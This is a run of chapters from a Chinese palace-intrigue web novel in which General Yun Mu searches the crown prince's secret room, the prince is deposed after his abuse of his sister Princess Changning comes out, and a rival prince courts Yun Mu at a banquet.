长宁公主倒是不意外,“将军不是正在东宫忙吗,怎么得闲过来了?” “公主也不遑多让。” 云暮将字条摆在她身侧的桌上,“下官愚钝,方才只差没把画撕了,还是不知公主所说有帮助是何意。” 话只说一半,长宁料定云暮打不开机关后会来寻她,她便借此进东宫,最好能将密室一把火烧个干净。 她看向云暮:“此事说来话长,不如就让本公主随你走一遭?” 云暮眯起眼打量眼前之人,虽有些难见的恐慌,但还能镇定自若,她咧嘴笑道:“好啊,公主可要换身行头?” 勤政殿、崔府、未央宫……他们都派人去往东宫附近,长宁若是不做伪装,前脚估计才进去,后脚估计就被人扭送到勤政殿或是未央宫了。 待长宁再次出现在正厅时,云暮发现她已经换了一身丫鬟的衣服,“云将军,走吧。” 临到东宫,云暮欲命人去制造些乱子,她趁机将长宁从墙头上送进去,却见长宁来到一处假山后,拨开那丛野草,一个狗洞出现在两人面前。云暮:“……公主,不如我们还是翻墙吧。”钻狗洞着实有损颜面。 “东南面的拐角,西面的角门、北面的二楼和屋顶……” 长宁报出的这几个位置正是探子所站之位,“云将军,你出去了一趟,在这紧要关头生了乱,你说他们不想趁机把人安插进东宫?只有此处最为稳妥。” 那又如何?委屈长宁在密室待上一会儿也不是什么诛九族的罪。 她往后撤了一步,决定按()原路返回,“公主您请便,我们书房见。” 长宁没有阻拦,反倒饶有兴致地倚墙看着云暮离去的背影。 云暮经过拐角时,特意放缓了脚步,交谈声从不远处传来,她露出半个眼睛朝东宫后门望去,出去前还空无一人的后门此刻已经多了十余人。 云暮:“……” 若是只有四五个倒也很好解决,但如今却有十余人,她得生出三头六臂才够用。 后门进不去,她只能又回到假山后。长宁依旧维持着她走前的姿势,见了人来,她轻笑了一声,“云将军怎么又回来了?” 面对她的幸灾乐祸,云暮默不作声将野草拨到一旁,“公主,请吧。” 长宁觉得没意思极了,她轻车熟路地钻了进去,云暮紧随其后,边拍打着身上的灰边望着周围,没看到人后,她暗自松了一口气,颜面算是保住了。 “大人。” “大人。” …… 对于云暮身边忽然出现一个宫女,他们虽说惊讶,却也不敢多问,除去砚石。 “大人,这是……” 云暮不语,隔空点了点那幅《晚秋图》,砚石瞬间了然,侧身让出了门。 长宁深吸了一口气,克制住心里的恐惧,将画轴抽出,轻轻一拧,两把钥匙坠到地上。 她拿着钥匙直奔博古架,见云暮和砚石还站在门口不动,不由出声催促:“帮忙移开。” 云暮照着他的吩咐,合力将笨重的博古架移开了几寸,一个尾指大小的锁孔出现在他们面前。 “咔哒”一声,放着画的瓷缸后的石壁轰然大开。 云暮跟在长宁身后进了密室,接着打量的功夫隐晦地盯着长宁。 对方对这里太过熟悉,熟悉到好似经常来此地一般,这是太子和长宁联手设的圈套?一个暗器悄无声息地落入云暮手中。 密室很快就到了尽头,左面的布局和外间书房一模一样,上头凌乱地摆了一些东西。 云暮状似无意地说道:“公主和殿下还真是手足情深,他竟连如何进出密室的方法都不瞒着你,下官着实好奇,你为何会举他私藏兵器?” 长宁脸色一白,旋即将手中的钥匙砸向云暮,“你知道什么?若是你到了本公主的境地,只怕是恨不得啖其肉饮其血。” 第二百二十六章 秘密 云暮还想听着她继续往下说,然长宁已经闭嘴不语。 “钥匙。” 云暮手腕一转,已经递出去的钥匙又重新出现在她的手心。 长宁扑了个空,怒道:“云暮,你什么意思?” 云暮悠悠地说道:“下官奉皇命搜查东宫,这密室钥匙自然也该呈交给皇上才是。” 长宁上前两步,欲夺过钥匙,还震惊于长宁身份的砚石下意识挡在云暮身前。 “啪。” 皮肉被拍打的声音在寂静的密室显得清脆。 “放肆,你算什么东西,也敢拦本公主?” 砚石跪在地上,仍挡在云暮前面:“小人不敢。” 长宁担心秘密被人发现,只能以冷笑压住惊惧,“你主子在你身后给你撑腰,怕是太子来了都得给你几分薄面,你有什么不敢?” 动不了云暮,长宁只能用砚石泄愤,她挑衅地望向云暮,用脚尖碾着砚石的手指。 云暮双眼一暗,将钥匙抛了回去,“公主想要,拿回去便是,何必动怒?” “大人!” 云暮对砚石摇了摇头,“去找证据,皇上那边该等急了。” 云暮边搜边留意长宁的动静,但她只是紧攥着失而复得的钥匙站在一旁。 桌上之物并非什么重要之物,云暮把视线放在书架上。熟悉的蓝色书封上并无半个字,云暮取下一本随意翻了一页,双眼瞬间放大。 她对砚石说道:“叫几个人进来,把这些都搬出去。” 一直没有动作的长宁忽然挡在砚石面前:“不行!不能让人进来!” 此前念在两人是盟友,密室也是因其才开,她才忍了长宁在她面前教训砚石。眼下长宁还要阻拦,云暮压着怒气问道:“长宁公主,不许侍卫进来,这些东西由谁来搬?” 长宁道:“这儿不是有现成的人?还是说云大人享了几年福就忘了从前在宫里伺候人的日子?” 云暮的脸色陡然转冷,“公主,下官敬你是公主这才多有忍让。下官不知你在密室里藏了何物,但你若再敢阻拦,下官不介意将此事揭到皇上面前。” “你说太子和皇后若是知道此事的起因是你,你在宫里还能好过吗?” 长宁惊恐地看着云暮,双腿隐隐有些发软,“你……你在胡说什么?本宫能有什么东西藏在此处?” 云暮冷声道:“那就得问问公主你和太子了。”在提到太子时,她特意拔高了语调。 见长宁怔住,她继续道:“公主,这里想必还有另一扇门吧?不会是在那儿吧?”说罢,她抬起手指缓缓移动。 长宁屏住呼吸,视线顺着云暮的指尖移动,在对方的指尖停在方才她所站的位置时,脸上的惊惧几欲压制不住。云暮心下冷笑,指尖在某处停了两息,眼看长宁快要上前时,她又转了方向指着长宁方才站的位置说道:“公主,下官说得可对?” 长宁的心早已提到嗓子眼,方才差点没忍住上前按住云暮的手的欲望,见云暮不过只是推测,才终于放下心。 “本宫不知道你在说什么,你既决意要人进来,也并非不可,只是人不能超过三个,且必须在本宫的眼皮子底下行事,拿到你想要的东西后就立刻去勤政殿见父皇。” 不过是一个不得宠的公主,若非碍于先前的情面,云暮怎会把人放在眼里。这些账册算上砚石四个人得来回搬上三四趟,她不想把时间浪费在这种地方上。 她对砚石说道:“出来这么久了,皇上那儿应该派人来催了,去找几个人来,一趟搬完,我还要去见皇上。” 砚石趁长宁还未反应过来时,便已经迈着大步往外走去。 云暮看着追上前的长宁,语含威胁:“公主,你若想被人知道那些秘密,大可去拦住砚石,下官也不介意把事情捅到皇上面前。” 长宁转头怒瞪云暮,“你敢?” 云暮拨了拨腰间的天子令,“下官连搜查东宫这种得罪太子和皇后的事都敢做,公主觉得还有什么事是下官不敢的?” 她感慨道:“见了天子令如圣上亲临,下官就是现在派人将公主您以与太子合谋的名头将您下了狱也并非不可。” 温和的假象撕下后,长宁终于见识到了云暮狠辣的手段,她不敢再追砚石,“呵,没想到本宫竟是与虎谋皮。” 云暮笑道:“彼此彼此,公主也让下官开了眼。” 长宁被气得不愿再与她说话,云暮倒也不在意,她拿起一本账册细细看了起来。 那些在胡宗远府邸没找到的账册和记录私兵每个月开支的账册都在此处,云暮想起那份名单,又继续在密室里细细搜查。 直到金吾卫将账册和其余东西都搬出去后,云暮还是没有找到那份名单,她烦躁地敲了几下桌子。 长宁依旧站在角落没有动作,云暮见状,不得不出声:“公主,请吧。” 长宁脚下未动,“云将军先回吧,本宫还有事情未做。” 云暮皮笑肉不笑地说道:“太子豢养死私兵证据确凿,东宫即将被封,您在此处,于理不合。” 密室里如今只剩下她们二人,长宁依旧端着公主的架子:“本宫事情还未做完,等事了了本宫自会出去。” “也罢,公主既然坚持,下官也无话可说,只是下官也不好瞒着皇上。” 说罢,她作势要离开密室。 长宁这才慌了,她小跑几步,试图拉住云暮的衣摆,哀求道:“云大人,那些东西若是被人发现,本宫这条命就真的没了。” “你让人准备一个火盆,本宫只要一刻钟,一刻钟内定将那些东西全部销毁,定不会让你难做。” 云暮往前又走了两步,避开长宁的动作,“公主,下官不知那些东西是何物,亦不敢替您隐瞒,否则皇上怪罪下来,下官担不起这个责任。” 长宁崩溃道,“到底要怎样你才肯让本宫留下?” 她又举手发誓:“本宫和你保证,绝不是那等谋逆之物,更不会牵连到你。” 第二百二十七章 被打 长宁的模样变成当年那个在火海前挣扎大闹要回去救阿爹阿娘的小云暮云暮怔愣了几息。 长宁乘胜追击,抓着云暮的袖口哀求:“云大人,本宫只要一刻钟,绝不会误了你的事。” 云暮定定看了长宁好一会儿,才拂开她的手:“火盆待会儿有人送来,一刻钟,多一息公主你就自个儿去同陛下陈情。” 长宁大喜,“云将军大恩,本宫来日定会报答。” 云暮没将此话放在心上,她行至密室门口,命人抬了一个火盆进去。 不到一刻钟,长宁便出来了。与初进密室的紧张不同,此刻的她像卸了担子般轻快,她将钥匙递给候在书房门口的云暮,“云将军多谢。” 耽搁了好一阵时间,账册已经送去了勤政殿,云暮接过钥匙后便派人把长宁好生送了出去,她则马不停蹄地赶回勤政殿。 临走前,她略想了片刻,又派了好些人把守东宫,尤其是书房和卧房。 云暮回到勤政殿时,东侧间已经收拾出来了,十几个太监双手飞快地打着算盘,算珠撞击的哒哒声遍布整个东侧间。 一张张宣纸呈到梁文帝面前,他只看了几张就丢在了一旁,太子跪在殿中,一口大气都不敢喘。 云暮将钥匙放在书案上,说道:“皇上,这些皆是在东宫书房的密室搜出,这是密室的钥匙。” 太子猛然抬头,直勾勾地盯着那两把钥匙,“你都知道了?” 神情里的紧张和长宁如出一辙。 云暮不动声色地说道:“殿下,若要人不知,除非己莫为。” 太子认命般地闭上眼,呵呵了两声,“是皇兄害了你。” 梁文帝离得远,没听清太子说的何事,只当对方还不死心,他对云暮道:“皇后想面圣,把她宣来,朕还健在你,她的好儿子却已经在谋划朕身下的龙椅了。” “把崔浩和六部尚书也都一并宣来。” 土匪变成太子私兵,前脚人才被抓,后脚梁文帝就派人前去搜宫,且他没想压下消息,现如今宫里宫外都传遍了。 几乎是传旨太监才到府门,六部尚书就已经在正厅候着了,宣完旨后二话不说就一道进了宫。 云暮才进未央宫,一眼就看见站在廊下的不停踱步的皇后。对方一见了她,快步走近:“云暮,太子如何了?你和皇上说一声,本宫要面圣。” 云暮行了一礼:“臣见过皇后娘娘,皇上请您去一趟勤政殿。” “去备轿。” 云暮做了一个请的动作,“娘娘,臣已经备好了轿辇,请吧。” 然而皇后还是没忘记方才的问题,她抓着云暮的手问道:“你还没告诉本宫,太子如何了?” 云暮垂眸道:“太子尚且安好。”现下安好,等会儿就说不定了。 皇后显然也想到这点,再次追问:“你从东宫搜出了什么东西?” 她的人已经来回话了,说云暮的人抬出了一箱箱的东西,但里头装了什么他们并不得而知。这一次,云暮并未直接回答,她收回手,道:“皇上不许臣多言,娘娘去了便知。” 而后她行至轿辇跟前,朗声道。“起轿。” 不多时,她的手心被人塞进了一个还带着余温的玉镯。 红玉低声道:“云将军,这些年娘娘待你不薄,你也该投桃报李才是,你就算只说几个字也行,让娘娘心里有个底。” 云暮眯眼打量手心的玉镯,通体碧绿,但里头却多了一丝血红之色,云暮记得这是去岁太子送给皇后的生辰礼。 虽说掺了些许杂质,但皇后视之如宝,日日佩戴。如今为了一句话便将心爱之物让出,当真是母子情深。 她将镯子塞了回去,“姑姑折煞我了,皇上那头不放话,咱们这些做下人的也不敢多嘴,还请娘娘见谅。” 软的不吃,红玉的脸色瞬间变冷,“云将军,都说您知恩图报,娘娘这些年待您如何,您心里有数,您确定要与娘娘生分至此?” 竟是装都不愿多装一会儿,云暮仍是那副云淡风轻的神情,“姑姑说的什么话,娘娘和太子殿下母子情深,难道不知太子做了何事?如今怎么反倒问起我这个外人来了。” 她斜睨了一眼红玉,“皇上疑心东宫的下人偷盗太子的东西,本将军奉皇命前去搜查,黄如海不是来回话了?” 黄如海早已被她们收买,给他们传过不少消息,但不管是梁文帝还是云暮对此都是睁一只眼闭一只眼。 如今闹到她面前,还留什么情面? 红玉面色越发难看,云暮嗤了一声,转身对轿辇上的皇后拱手道:“娘娘,微臣还要去宫外宣旨,先行告退。” 本该外出宣旨的云暮回了勤政殿,老神在在地站在门外,皇后的轿辇姗姗来迟,红玉瞧见云暮,怒瞪了她一眼。 云暮微微一笑,抬手拦住红玉:“皇上有吩咐,只许娘娘一人进去。” 假传圣旨用过一次,第二次便不再管用。 红玉仗着在宫里的资历老,又是皇后身边的老人,并不把云暮放在眼里,她打掉云暮的手,气昂昂地跟着皇后进了勤政殿。 “我和你这种阉人不同。” 红玉拍打的力道不小,云暮的手背瞬间浮上一个清晰的巴掌印。 “奴才去寻热毛巾。” “不必。” 云暮叫住吕梁,“不是什么大伤,不必了。” 她话音才落,勤政殿的门从里打开,方才还趾高气昂的红玉如今一脸愤色,发丝有些许凌乱,腹部的衣裳上还多了一个脚印。 “云暮,你很得意吧?”红玉满脸皆是怒火,抬手又欲打云暮。 云暮怎会让红玉如愿?她捏住红玉的手腕,“我方才已经将皇上的话如实转告,是你没听,怪得了谁?” 从前她对皇后还算有用处时,红玉对她也还算客气,后来因沈聿明和皇后生了嫌隙后,对方看着她便像看个叛徒,好似她做了什么十恶不赦之事。 此后见了她更是没好脸,可她从前和皇后也并无太多利益往来,真是可笑。 第二百二十八章 受人蛊惑的太子 云暮使巧劲把人往后一推,红玉没有设防,一个趔趄倒在了地上。 云暮苦恼地敲了一下脑门,“红玉姑姑,着实不好意思,我们这些习武的粗人手劲比较大,忘了收力。” 又催促着一旁的几个太监:“傻愣着干什么,还不快把红玉姑姑扶起来。” 吕梁带着几人一窝蜂涌上前,手忙脚乱地扶起红玉,场面有些许混乱,不知是谁踩了红玉一脚,疼得她破口大骂。 云暮嗤笑了一声,拿起被丢在一旁的拂尘作势抽了几下吕梁几人,“鼻子上挂的是两窟窿吗,扶人这点小事都做不好。” “还不快把姑姑的嘴堵上,等会儿若是惊扰了皇上,可不只是挨上一脚这么简单了。” 红玉拉开捂着嘴的手,还要再骂,云暮提醒道:“皇上他们正在议事,姑姑再这般言行无状,皇后也保不住你。” 她的眼神掠过门前的那些菊花,“皇上本还忧心从涿州来的菊花长势不佳,本将军不介意给它们施些荤肥,不过姑姑放心,本将军定会挑上开得最好的给皇后娘娘送去。” 梁文帝本就因太子的事迁怒皇后,方才踹的那一脚用上了十成的力度,若不是皇后求情,红玉就要被人抬出来了,当下也不敢再在勤政殿前放肆。 云暮扫了一眼殿门,转而去了东侧间。 太监们依旧在算账,一本本账册从箱子里拿出,在算清后又重新回到了木箱中。 简洁的账单依照年份月份一一摆在长几上,云暮看了都不免咂舌。 梁今越自出生就被立为了太子,身后又有崔家,这些年也笼络和拿捏了不少朝中官员。 只要他不出差错,不留下把柄,将来那个位置必定是他的囊中之物,他为何想不开要养私兵? “大人,皇上叫您过去。” 云暮手捧账单迈进了勤政殿,对梁文帝行了一礼后便将手中之物呈了上去。 “皇上,这是太子殿下这些年花在墉关的‘军饷’。” “这算哪门子‘军饷’?不过是包藏祸心之人行的亏心事罢了。” 梁文帝的目光在那只泛红的手上停了片刻才道:“朕不看了,让皇后他们看看。” 云暮应了声是,率先将单子送至皇后面前,才走到崔浩面前,云暮听到扑通一声,皇后的声音随即响起:“皇上,太子已是储君,他没道理做这些事,定是有人从中挑唆!” 事到如今还想攀扯其他人,梁文帝已经不想再听。 云暮下意识看向太子,只见他跪地认罪:“父皇,此事乃儿臣一人所为,是儿臣被迷了心窍,与旁人无关。” “你到现在还在为那个贱人开脱!若不是她,你今日还该是高高在上的太子!” 云暮脑海里浮现出长宁的脸,她捏紧了托盘,长宁背着她毁掉的东西难不成和此事有关? 崔浩笑问:“云将军怎么心神不宁?你认识娘娘口中之人?” 这几日过得并不安稳,自从在太子宫中搜出兵器被禁足后,他担忧不已,他曾暗中派人给东宫送去了信,太子却让他不必忧心。 什么消息都没有,他如何不忧?梁文帝那头不松口,也打听不到多少消息,于是他派人跟踪云暮。 云暮借口剿山匪时,他便预感到了不对,亲自去寻了郑鹤桉,让他前去接应,没想对方连这事都做不好。眼下有了拉云暮下水的机会,崔浩怎能放过? 云暮干笑了一声,“丞相说笑了,下官鲜少与他人来往,怎么知晓娘娘所说何人?” 梁文帝猜忌的目光在几人身上打转,最后落在皇后身上,“皇后所说的是何人?” 太子看向皇后,“母后!” 皇后只想把太子从此事摘出来,对于太子的哀求置之不理,“皇上,是长宁!都是因为长宁的挑唆!” 云暮手中的纸张被攥得发皱,心道,果然是她! 皇后还欲再说,太子出声打断了她:“母后,此事与她无关,您莫要把旁人牵扯进来。” 一个极力贬低,一个极力维护,梁文帝不免起了疑,对云暮说道:“把长宁叫来。” 云暮放下东西,匆匆朝长宁的寝宫而去,在半路被一个行色匆匆的宫女撞了个满怀。 “云大人?” 宫女像是看到了救命稻草一般紧紧抓住云暮,“云大人,奴婢是长宁公主身边的侍女,求您救救我们公主。” 这么巧? 云暮不动声色道:“公主怎么了?” 宫女抽抽噎噎地说道:“公主回来后便将自己锁在房中,谁都不见。 过了小半个时辰,房中一点动静都没有,奴婢担心她想不开,便偷偷开门看了一眼,谁想公主竟悬梁自尽了! 公主寝宫距离太医院甚远,奴婢担心公主撑不住,云大人,求您去看看我们公主吧。” 从东宫回来就悬梁自尽,长宁的宫女又这么巧地出现在她面前,云暮不得不疑心长宁。 她故作不知,急道:“还不赶快带路?” 赶到长宁的寝宫后,长宁的呼吸很是微弱,仿佛下一瞬就会驾鹤西去。 云暮的手搭上长宁的手腕,沉吟片刻后遣退了宫人,而后对床上那个气息奄奄的人说道:“公主,皇上召您去勤政殿。” 床上之人呼吸急促,很快又恢复了进气少出气多的模样。 云暮继续道:“皇后当着众臣的面对皇上说是您挑唆太子豢养私兵造反。 太子原本沉默,听了你的名字后全然不顾及母子情分,当众呵斥了皇后。” 她叹道:“公主和殿下还真是手足情深啊,你说太子知道是你举了他会是何种表情?” 长宁心中的怒意随着云暮的话逐渐加深,她双眼未睁,冷笑道:“太子不是傻子,本宫若有蛊惑人心的能力,怎会连一个太医都请不来?” “既是父皇要见,本宫去一趟就是了,但也请云大人去通禀一声,就说此事实在难以启齿,本宫要单独见父皇。” 云暮越发好奇是何事,她说道:“此事不难,公主随下官走吧。” 第二百二十九章 太子被废 云暮没把人直接带到正殿,她低声在梁文帝身侧低语了几句。 梁文帝皱眉道:“有什么不能直言?宣她进来。” 云暮正欲再劝,皇后尖锐的声音响起,“本宫不允许!她做出这等……” “母后!您别说了。” 太子急急打断了皇后。 梁文帝冷眼看着他们母子,“传长宁。” 云暮无法,只能把长宁带了进来。 来之前长宁特意换了一身衣裳,淡黄色的宫裙趁得人比花娇。 长宁的母妃起初甚得梁文帝的宠爱,那日她亦是一袭淡黄色宫裙于御花园扑蝶,就这么直直地撞进了梁文帝的心里。 长宁的满月宴上,梁文帝赐给她长宁的封号,只是后来色衰爱弛,互生怨怼,梁文帝也渐渐把人抛之脑后。 两张相似的脸、相似的身形重叠在一起,让梁文帝有一瞬间的恍惚。 云暮趁机道:“皇上,公主所言之事不能为外人知。” 长宁径直走进殿中,眼神没有分给那个热切望着她的太子一眼,双目噙泪盈盈一拜,“父皇,您让儿臣在此将事情道出,儿臣便自绝于世。” 就连说话的口吻也像极了她母妃,梁文帝说不出拒绝之话。 皇后仍不死心地开口:“皇上!您不要听信这个贱人的话!” 西侧房,云暮命吕梁守在门前,又派了好些个太监守着皇后众人,她则轻手轻脚地绕至后窗,将耳朵附上窗牖。 她眉眼间看好戏的戏谑逐渐变为不可置信,而后又多了几分厌恶、恶心。 长宁可是他的亲妹,太子他是疯了吗? 云暮不愿再听,她折回了勤政殿,看着皇后心疼地将太子从地上扶起,又和崔相抱怨:“兄长,你怎么也不替越儿分辨几句?” 梁文帝还未发话,六部尚书尚在殿内,皇后却如此行事,崔相越发觉得当年送她入宫、让她亲自抚养梁今越是错。 他冷冷道:“娘娘,太子豢养私兵,私铸兵器二事证据确凿,你要臣如何分辨?” 皇后没想崔浩竟会驳了她,她急道:“越儿可是你的外甥!是大梁的储君,若不是被那个贱蹄子所迷惑,怎会做出这种事来?” 她恨恨看向西侧间:“如今指不定在里头怎么编排越儿呢,早知她今日会是一个祸害,当年本宫就该将其溺死。” 太子不愿再听,他几近吼道:“母后,够了,此事是儿臣鬼迷心窍,并非长宁之过,你莫要刁难她。你非要把我们逼死吗?” 又是一阵争吵。 …… 若是有不明情况之人,只怕是会以为太子和长宁兄妹情深,谁知风光霁月的太子竟会是一个对亲妹下手的畜生? 演得这般情深似海,云暮真想抚掌称赞。 她回来不过一盏茶的功夫,西侧间忽然传来梁文帝的声音:“来人,传太医!” 云暮和太子几乎是同时冲出殿外,她猛然将门推开,只看到长宁躺在地上,额上潺潺流血。云暮探向长宁鼻息,气息微弱,她忙从荷包里的几个小瓶中挑出了一瓶淡青色的瓷瓶,拔了塞子后将药粉倒在长宁的额上。 太子亦跪在长宁身边,手欲碰她却不敢,只能小声唤她:“长宁,长宁。” 梁文帝着实想不到被他寄予厚望的太子竟然能做出强迫亲妹委身于他的腌臜事。 方才被长宁勾起了几分对她们母女的愧疚,眼下见了太子,气不打一处来,当即一脚将人踹了出去,又恰到好处地没妨碍到云暮。 “逆子!” 皇后惊慌的声音传来:“皇上!”情急之下,她顾不得犯上,就要伸手拦住梁文帝的动作。 那头的三人兵荒马乱,云暮则心无旁骛地替长宁处理伤口。她没带纱布,只好撕下一截衣摆将长宁的伤口缠住。 “皇上,公主还活着,臣只替她止了血,还是得宣个太医来给公主瞧瞧。” 梁文帝当即命吕梁把人送回去静养,“此地不宜养伤,吕梁,把公主送回去。” 云暮低头看了一眼长宁,道:“皇上,公主头部受创,不能轻易挪动,不若先将她移到榻上,再宣个太医来看看,待人醒后再送回宫也不迟。” 梁文帝沉吟了片刻就应下了,“把崔相和六部尚书都请到东侧间,朕有话要对皇后和太子说。” 云暮应了声是,又命吕梁几人把长宁往里挪了挪。 云暮虽是守在殿外,但对里头的情况一清二楚。她挥手让门口的太监和侍卫都退了几步远,才没叫他们听了去。 那天的勤政殿,斥骂声和砸物声不断交替,最后梁文帝把云暮、崔相和六部尚书又都叫进了勤政殿。 “云卿,研墨,朕要拟废太子的诏书。” 崔相及六位尚书还不清楚发生了何事,当即跪下为太子求饶,“太子乃一国之本,怎能说废就废,皇上三思啊!” 梁文帝大掌拍在桌上,将上面的证据都甩在地上,“这就是朕三思后的结果。太子豢养私兵,私购铁山以铸兵器,这样一个罔顾人伦的人,实非大梁储君。” 为了防止皇后生乱,梁文帝已经派人把她送回了未央宫,还命了不少人守在未央宫前,这是又将人软禁的意思。 云暮瞥了一眼太子,上前替梁文帝摊开升圣旨,加水研墨。 太子颓然地跪坐在地上,放声大笑。 “孤早该想到的,哈哈哈哈哈哈哈……” 神情疯癫。 他一向谨慎,唯有面对长宁时才不设防。 他曾问过长宁想要什么,对方说过够了看人脸色的生活,想要一人之下万人之上。于是他开始招兵买马,暗中谋划一切。 兵器被举一事,他疑心过东宫所有人,独独不想怀疑长宁。母后提起长宁时,他还在极力维护。 书房密室隐秘,钥匙及锁孔都在旁人想不到的地方,云暮的人把账册搬来时,他还自欺欺人地认为是砚清给他留下的线索。 直到长宁出现…… 太子呵呵笑了几声,“长宁啊长宁,你竟恨孤至此。” 圣旨才干,就被云暮捧到太子面前:“太子殿下,听旨吧。” 第二百三十章 有人相邀 皇后禁足,太子被废二事惊动朝野。这些年皇后明面上并无太大的过错,崔家势力尚在,梁文帝欲废皇后而不能,他问云暮:“崔家近来可有动作?” 云暮停下批折子的动作,思量了片刻才道:“并无。” 崔浩连同那六个尚书这几日告病在家,闭门谢客,即便是往日同他们交好的那几个同僚登门都不得入。 云暮又道:“等下了值,微臣去崔府走一遭。” 梁文帝甩着手中的翡翠珠子,道:“那些个去了都吃闭门羹,你虽是朕的人,可未必进得了崔府的门。罢了,他总有露出狐狸尾巴的那一天。” 但云暮下值后还是去了一趟崔府,结果也在她的意料之内。 崔府的管家一脸歉意地对着云暮说道:“云大人,大夫说了,让我家大人静卧养病,让您白跑一趟,着实不好意思。” 云暮笑着将手中的东西递给他:“是本将军不请自来,倒给崔相添麻烦了。本将军是从药王谷,丞相若是久病不愈,你可派人给云府递个帖子。” 管家连忙应下:“麻烦云将军了。” 云暮摆摆手,转身上了云府的马车,将崔府甩在了身后。 几墙之隔的正院内,崔浩正立于桌前,满面红光,哪有半分病色? 他面前站了一排十五六岁的婢女,每个人的手里都捏着一朵菊花,每拈起一朵观赏时,那双隐隐发皱的手便会覆上那一双双玉手。 “相爷,这是云将军送来的。” 闲心雅致被人惊扰,崔浩不悦地手中的菊花砸向管家,“嚷嚷什么,我不是说了不管谁的礼都一并丢出去?” 这些婢女都是刚入府,平日里哪见过这个阵仗,当下便学着管家跪在地上。 管家解释道:“云将军是陛下的人,不受他的礼,奴才恐相爷被御史攻讦。” 崔浩接过管家手中的东西,揭了一角来看,不过是些寻常的药材,他兴致缺缺地将东西丢了出去:“滚。” 话毕,他温和地扶起那些婢女,“地上凉……” 马车驶出巷口后,云暮听见砚石问道:“大人,丞相当真病了?” 云暮把玩着腰间的玉佩,意味不明地说道:“谁知道呢,废个太子,禁足一个皇后就能被吓到,那他也太无用了。” 太子被废那日,沈聿明先前答应送她的玉佩也正好雕成,云暮便将腰间的天子令换成了那枚玉佩。 马车戛然停下,“云将军,我家殿下想邀您一叙。” 云暮撩开车帘,砚石小声道:“是七殿下的人。” 七皇子,虽比不得前头的几个皇兄,但也还算看得过去。他母妃虽不得宠,但胜在他争气,也算母凭子贵。 云暮嘴角微微勾起:“既是七殿下相邀,下官哪有不应的道理,带路吧。” “大人……” 云暮对砚石摇了摇头,“无事。” 先是三皇子被贬为庶人,再到如今太子被废,她明面上早已和沈聿明翻脸,那些蠢蠢欲动的皇子自然是想把她拉拢过去。躲得了这一个,后面还会有什么六皇子八皇子,倒不如拿其中一个当挡箭牌。 路越走越偏,相比于砚石的担心,云暮却放松许多,她知道,这是七皇子在宫外置办的一处宅子,专门用来拉拢朝臣。 和外面的寂静不同,府内丝竹声不断,不时还有人吟诗作对附和。 云暮能从一众太监中脱颖而出,除去有梁文帝的宠爱,还有一个最为重要的,那便是文采过人。宫人考核之时,她回回都是第一。 她当上中郎将那年,有人给她写过一首诗,即便通篇是在斥她媚上弄权,但云暮还是给了对方一个芝麻官。 旁人不解,问她缘由,云暮随意扯了一个谎,说是那人文采极佳,即便是骂人都颇有趣味。 七皇子这是觉得寻常金银财宝笼络不了她,便要换一种策略?云暮心里不由发笑。 她进去前给了砚石一枚药丸,“吃了。” 没有过多的解释,但砚石还是一口吞下,他笃定云暮不会害他。 才穿过垂花门,云暮面前很快就多了好几个衣着暴露、长相艳丽的女子。 “云大人,您终于来了,七殿下等了您许久。” 云暮没有挣扎,顺着她们拉扯的方向而去,“知我身份,还敢如此待我,不怕掉脑袋?” 话不中听,但因嘴角带笑,那些女子也并未松手,“云大人怜香惜玉,定然舍不得责罚奴家。云大人若是不喜,等会儿我们几个给您作诗赔罪。” 云暮笑道:“本将军等不及,你们现下就吟诗赔罪吧。” “这……” 几人面面相觑,那都是些客套话,云暮还当真了?她们都是靠皮肉生活,哪会做诗? 云暮看她们的脸色几经变化,催促道:“不是说了吟诗赔罪,看旁人作甚?难不成她的脸上写了诗?” 这几名女子回想起坊间有关云暮的传言,她们这才慌了神,当即跪地求饶:“云将军,那些都是哄人的话……” “云将军为难他们做什么,若是要作诗,孤这里倒是有几个人选。” 七皇子人还未到,声音已经从假山后传出。 云暮说道:“话是她们说的,如今倒成了下官为难他们,看来怜香惜玉的另有其人。” 七皇子被云暮打趣了不仅没恼,反而还更欣喜了,他带着仆从从假山后走出。 和平日里一丝不苟的模样不同,眼下的他只着单衣,墨发随意披散,手中还拿着一个酒壶和一个酒杯,看起来很是不羁。 云暮压住嫌恶,对他行了一礼,“下官云暮见过七殿下。” 酒壶连同酒杯被七皇子丢进仆人的怀中,他上前几步,双手扶起云暮,“云将军是父皇身边得意的人,不用如此。” 不过是一个拱手罢了,怎么到他嘴里像是成了三跪九叩云暮顺着他的力度直起身子:“礼不可废。” 七皇子很满意他的不骄不躁,“云将军,里边请。” “前几日你追查叛贼有功,今日邀你来府上,不谈公务,只为和你不醉不归。” 第两百三十一章 突然到访 靠近凉亭,云暮听见有几个人在高谈阔论。 “太子自掘坟墓,依下官看……” “他已经不是太子了,如今就是废人一个。” 云暮轻咳了一声,跟在七皇子身后走进了凉亭,里头的几人往常见了云暮都吓得噤声,今日见了却像看到多年好友,恨不能攀着云暮的肩把人往椅子上带。 “梁今越这个目无君父的人,合该千刀万剐才是,如今只夺了他的太子之位还是太轻。” “云将军以为如何?” 云暮将面前的酒杯移至一旁,淡淡道:“人虽被废,但皇上并未把他变为庶人,梁今越这个名字也是你能直呼的?” 吵嚷的凉亭因此话瞬时无声,云暮亲自搜查东宫,又亲自把人关进了宗人府,现在装这样子给谁看?在场之人脸色皆沉了下来。 气氛剑拔弩张,七皇子慢条斯理地饮了一口酒才出声打圆场,“今日不谈公事。” 他双手合十,轻拍了两下,“进来。” 几名女子捧着文房四宝走了进来,在云暮身边伺候的侍女还多捧了一壶热茶。 云暮眉尾一挑,还是熟人。 “侍女”把头埋得极低,躲避着云暮的视线,将那几片裙摆往身上拢。 云暮低头瞥了一眼,侍女面上裹得严严实实,但只要跪坐下来,内里风光一览无余,她一阵无言。 将官员召来此处也就罢了,还招妓入府。在如此紧要的关头,七皇子行事却如此放肆,他不会真认为能拉拢她吧? 起初那些人一动都不敢动,直至七皇子说了一句:“这些都是府上的侍女,略通文墨,孤特意挑了几个来伺候诸位大人的笔墨。” 他看向云暮:“此前听闻云大人文采斐然,今日孤也想讨教一番。” 云暮谦虚地说道:“下官在殿 除去七皇子,只有云暮身边是两个人伺候,其余人就算不满亦不敢多言。 美人在旁,美酒入喉,举目之下皆是美景,那些自诩才子的文官也纷纷附庸风雅,当即就命人研墨题诗。 云暮身边的两个侍女小心翼翼地给她倒了一杯热茶,道:“大人,喝茶。” 凉亭三面环水,但进凉亭的小桥上摆满了不少花,花香熏人,让人辨不出周遭的周围的气味。 